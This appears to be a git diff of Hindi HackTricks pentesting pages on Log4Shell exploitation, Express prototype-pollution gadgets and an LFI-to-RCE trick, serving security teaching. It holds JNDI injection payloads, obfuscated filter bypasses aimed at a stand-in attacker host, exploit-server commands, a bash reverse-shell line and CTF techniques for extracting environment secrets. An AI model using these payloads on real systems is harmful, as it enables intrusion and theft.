जारी किया गया। आगे की जानकारी BleepingComputer की [रिपोर्ट](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) में है। ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Log4j संस्करण 2.17 को प्रभावित करने वाला यह CVE हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक विवरण [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध हैं। +यह log4j संस्करण 2.17 को प्रभावित करता है, इस CVE के लिए हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक जानकारी [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध है। ## Log4Shell Exploitation @@ -150,7 +142,7 @@ Log4j संस्करण 2.17 को प्रभावित करने * `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com)) -ध्यान दें कि **यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि अनुप्रयोग दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा। +ध्यान दें कि **यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि एप्लिकेशन दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा। {% hint style="info" %} याद रखें कि **संस्करण 2.15** का दुरुपयोग करने के लिए आपको **localhost जांच बायपास** जोड़ने की आवश्यकता है: ${jndi:ldap://**127.0.0.1#**...} @@ -164,7 +156,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[ ``` ### **Verification** -कुछ प्लेटफार्म जो पहले सूचीबद्ध हैं, आपको कुछ वेरिएबल डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\ +कुछ प्लेटफार्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ वेरिएबल डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\ यह 2 चीजों के लिए बहुत उपयोगी हो सकता है: * **कमजोरी** की **पुष्टि** करने के लिए @@ -267,7 +259,7 @@ ${jndi:ldap://:1389/Exploit} {% hint style="info" %} ध्यान दें कि किसी कारणवश लेखक ने log4shell की खोज के बाद इस प्रोजेक्ट को github से हटा दिया। आप [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में एक कैश्ड संस्करण पा सकते हैं, लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस vuln का शोषण करने के लिए एक अलग विधि का उपयोग करें। -इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें। +इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें। {% endhint %} इस उदाहरण के लिए, आप बस इस **log4shell के लिए कमजोर वेब सर्वर** को पोर्ट 8080 पर चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे चलाने का तरीका मिलेगा_)। यह कमजोर ऐप log4shell के एक कमजोर संस्करण के साथ HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है। @@ -278,8 +270,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` -After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP और HTTP सर्वर बनाए जाते हैं**। LDAP सर्वर समझेगा कि कौन सा payload प्रदान किया जाना चाहिए और पीड़ित को HTTP सर्वर की ओर पुनर्निर्देशित करेगा, जो exploit प्रदान करेगा।\ -In _com.feihong.ldap.gadgets_ you can find **कुछ विशिष्ट gadgets** जो इच्छित क्रिया को निष्पादित करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से मनमाना कोड निष्पादित करना)। And in _com.feihong.ldap.template_ you can see the different template classes that will **exploits उत्पन्न करें**। +After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP और HTTP सर्वर बनाए जाते हैं**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\ +In _com.feihong.ldap.gadgets_ you can find **कुछ विशेष गैजेट्स** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **एक्सप्लॉइट्स उत्पन्न करें**. You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are: ```bash @@ -312,30 +304,30 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172. # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` -_यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके उन प्रयोगशालाओं में काम करेगा जैसे कि **THM सोलर रूम**। हालाँकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके दूरस्थ कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।_ +_यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके उन प्रयोगशालाओं में काम करेगा जैसे कि **THM सोलर रूम**। हालाँकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।_ ### RCE - JNDI-Injection-Exploit-Plus -[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करने के लिए एक और उपकरण है।\ +[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) एक और उपकरण है जो **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करता है।\ ### RCE - ysoserial & JNDI-Exploit-Kit -यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि यह हमला काम कर सके_)। +यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि यह हमला काम करे_)। -**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप उस डीसिरियलाइजेशन हमले को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा: +**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप उस डीसिरियलाइजेशन एक्सप्लॉइट को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` -[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किया है) को सर्व कर सकते हैं। +[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किए हैं) को सर्व कर सकते हैं। ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (1118).png>) -अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके इस कमजोरी का फायदा उठा सकते हैं और एक **रिवर्स शेल** प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: **`${ldap://10.10.14.10:1389/generated}`** +अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके इस कमजोरी का फायदा उठा सकते हैं और एक **reverse shell** प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: **`${ldap://10.10.14.10:1389/generated}`** -### बायपास +### Bypasses ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} @@ -367,17 +359,17 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ## Post-Log4Shell Exploitation -इस [**CTF लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में यह अच्छी तरह से समझाया गया है कि यह संभावित रूप से **संभव** है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** किया जा सके। +इस [**CTF लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में यह अच्छी तरह से समझाया गया है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** करना **संभव** है। Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.org/log4j/2.x/security.html) में कुछ दिलचस्प वाक्य हैं: > संस्करण 2.16.0 (Java 8 के लिए) से, **संदेश लुकअप सुविधा पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं**। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। अब कॉन्फ़िगरेशन में JNDI लुकअप को स्पष्ट रूप से सक्षम करने की आवश्यकता है। -> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और किसी भी नेस्टेड लुकअप को हल नहीं किया जाता है। +> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और कोई भी नेस्टेड लुकअप हल नहीं होते हैं। इसका मतलब है कि डिफ़ॉल्ट रूप से आप **किसी भी `jndi` शोषण का उपयोग करना भूल सकते हैं**। इसके अलावा, **पुनरावृत्त लुकअप** करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा। -उदाहरण के लिए, उस CTF में इसे log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था: +उदाहरण के लिए, उस CTF में यह log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था: ```xml @@ -387,7 +379,7 @@ Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache. ### Env Lookups In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) हमलावर ने `${sys:cmd}` का मान नियंत्रित किया और एक पर्यावरण चर से ध्वज को निकालने की आवश्यकता थी।\ -जैसा कि इस पृष्ठ में [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, पर्यावरण चर तक पहुँचने के कुछ अलग तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता। +जैसा कि [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में इस पृष्ठ पर देखा गया है, पर्यावरण चर तक पहुँचने के लिए विभिन्न तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता। ### Exfiltration in Exceptions @@ -397,11 +389,11 @@ CTF में, आप **log4J का उपयोग करके java एप् ### Conversion Patterns Exceptions -बस उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवादों को ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए: +बस यह उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवाद ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए: ![](<../../.gitbook/assets/image (683).png>) -यह त्रुटि संदेश के अंदर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों जैसे पहचानने के लिए उपयोगी हो सकता है। +यह त्रुटि संदेश के भीतर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों जैसे पहचानने के लिए उपयोगी हो सकता है। ### Conversion Patterns Regexes @@ -410,7 +402,7 @@ CTF में, आप **log4J का उपयोग करके java एप् * **Binary search via exception messages** रूपांतरण पैटर्न **`%replace`** का उपयोग **सामग्री** को **स्ट्रिंग** से **बदलने** के लिए किया जा सकता है, यहां तक कि **regexes** का उपयोग करके। यह इस तरह काम करता है: `replace{pattern}{regex}{substitution}`\ -इस व्यवहार का दुरुपयोग करते हुए आप **स्ट्रिंग के अंदर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए बदलने** का काम कर सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह: +इस व्यवहार का दुरुपयोग करते हुए आप **स्ट्रिंग के भीतर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए** बदलने का काम कर सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* @@ -418,10 +410,10 @@ CTF में, आप **log4J का उपयोग करके java एप् ``` * **समय आधारित** -जैसा कि पिछले अनुभाग में उल्लेख किया गया था, **`%replace`** **regexes** का समर्थन करता है। इसलिए यह संभव है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके **टाइमआउट** उत्पन्न किया जाए यदि ध्वज पाया जाता है।\ -उदाहरण के लिए, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` जैसा एक पेलोड उस CTF में **टाइमआउट** को ट्रिगर करेगा। +जैसा कि पिछले अनुभाग में उल्लेख किया गया था, **`%replace`** **regexes** का समर्थन करता है। इसलिए यह संभव है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके **timeout** उत्पन्न किया जाए यदि ध्वज पाया जाता है।\ +उदाहरण के लिए, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` जैसा एक पेलोड उस CTF में **timeout** को ट्रिगर करेगा। -इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, ReDoS हमले का उपयोग करने के बजाय, एक **अम्लीकरण हमला** का उपयोग किया गया था ताकि प्रतिक्रिया में समय का अंतर उत्पन्न किया जा सके: +इस [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, ReDoS हमले का उपयोग करने के बजाय, प्रतिक्रिया में समय के अंतर को उत्पन्न करने के लिए एक **amplification attack** का उपयोग किया गया: > ``` > /%replace{ @@ -443,7 +435,7 @@ CTF में, आप **log4J का उपयोग करके java एप् > > यदि ध्वज `flagGuess` से शुरू होता है, तो पूरे ध्वज को 29 `#`-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। **परिणामी 29 `#`-s में से प्रत्येक को फिर 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** > -> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का टाइमआउट ट्रिगर होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा) +> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का timeout ट्रिगर होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा) ## संदर्भ @@ -456,23 +448,18 @@ CTF में, आप **log4J का उपयोग करके java एप् * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md index 56a12c767..0dcde0dab 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md @@ -15,25 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ## Serve XSS responses -**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution) +**अधिक जानकारी के लिए** [**मूल शोध पर एक नज़र डालें**](https://portswigger.net/research/server-side-prototype-pollution) -### Change JSON content-type to HTML +### JSON सामग्री प्रकार को HTML में बदलें एक Express ऐप में जो **JSON सामग्री प्रकार प्रतिक्रिया** का उपयोग कर रहा है और एक JSON को दर्शा रहा है: ```javascript @@ -55,11 +41,11 @@ res.send(req.body); ```json {"__proto__":{"content-type": "application/json; charset=utf-7"}} ``` -## सुरक्षित स्कैनिंग तकनीकें +## Safe Scanning Techinques -### JSON स्पेस +### JSON spaces -निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्पेस देगा जो कार्यक्षमता को बाधित नहीं करेगा: +निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्थान देने के लिए है जो कार्यक्षमता को बाधित नहीं करेगा: ```json {"__proto__":{"json spaces": " "}} ``` @@ -69,7 +55,7 @@ res.send(req.body); ``` ### Exposed Headers -निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए बनाएगा: **`Access-Control-Expose_headers: foo`** +निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए मजबूर करेगा: **`Access-Control-Expose_headers: foo`** ```json {"__proto__":{"exposedHeaders":["foo"]}} ``` @@ -88,7 +74,7 @@ res.send(req.body); ``` ### **स्थिति** -**वापसी स्थिति कोड** को निम्नलिखित PP पेलोड का उपयोग करके बदलना संभव है: +निम्नलिखित PP पेलोड का उपयोग करके **वापस किए गए स्थिति कोड** को बदलना संभव है: ```json {"__proto__":{"status":510}} ``` @@ -125,17 +111,6 @@ Express में एक विकल्प है जो आपको **क् * [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमता प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन को आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -146,8 +121,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** {% endhint %} diff --git a/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md index a753bbcfd..021b6f65f 100644 --- a/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md +++ b/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -15,23 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ### `compress.zlib://` और `PHP_STREAM_PREFER_STDIO` -`compress.zlib://` प्रोटोकॉल का उपयोग करके खोला गया एक फ़ाइल `PHP_STREAM_PREFER_STDIO` ध्वज के साथ बाद में कनेक्शन पर आने वाले डेटा को उसी फ़ाइल में लिखना जारी रख सकता है। +`compress.zlib://` प्रोटोकॉल का उपयोग करके खोला गया एक फ़ाइल, `PHP_STREAM_PREFER_STDIO` ध्वज के साथ, बाद में कनेक्शन पर आने वाले डेटा को उसी फ़ाइल में लिखना जारी रख सकता है। इसका मतलब है कि एक कॉल जैसे: ```php @@ -55,25 +41,13 @@ if (flags & PHP_STREAM_PREFER_STDIO) { हमलावर **शिकार सर्वर को हमलावर के सर्वर से एक फ़ाइल पढ़ने के लिए एक कनेक्शन खोलने** के लिए मजबूर करेगा **`compress.zlib`** प्रोटोकॉल का उपयोग करते हुए। -**जब** यह **कनेक्शन** मौजूद है, हमलावर **अस्थायी फ़ाइल** के पथ को **बाहर निकाल** लेगा (यह सर्वर द्वारा लीक किया गया है)। +**जबकि** यह **कनेक्शन** मौजूद है, हमलावर **अस्थायी फ़ाइल** के पथ को **बाहर निकाल** देगा (यह सर्वर द्वारा लीक किया गया 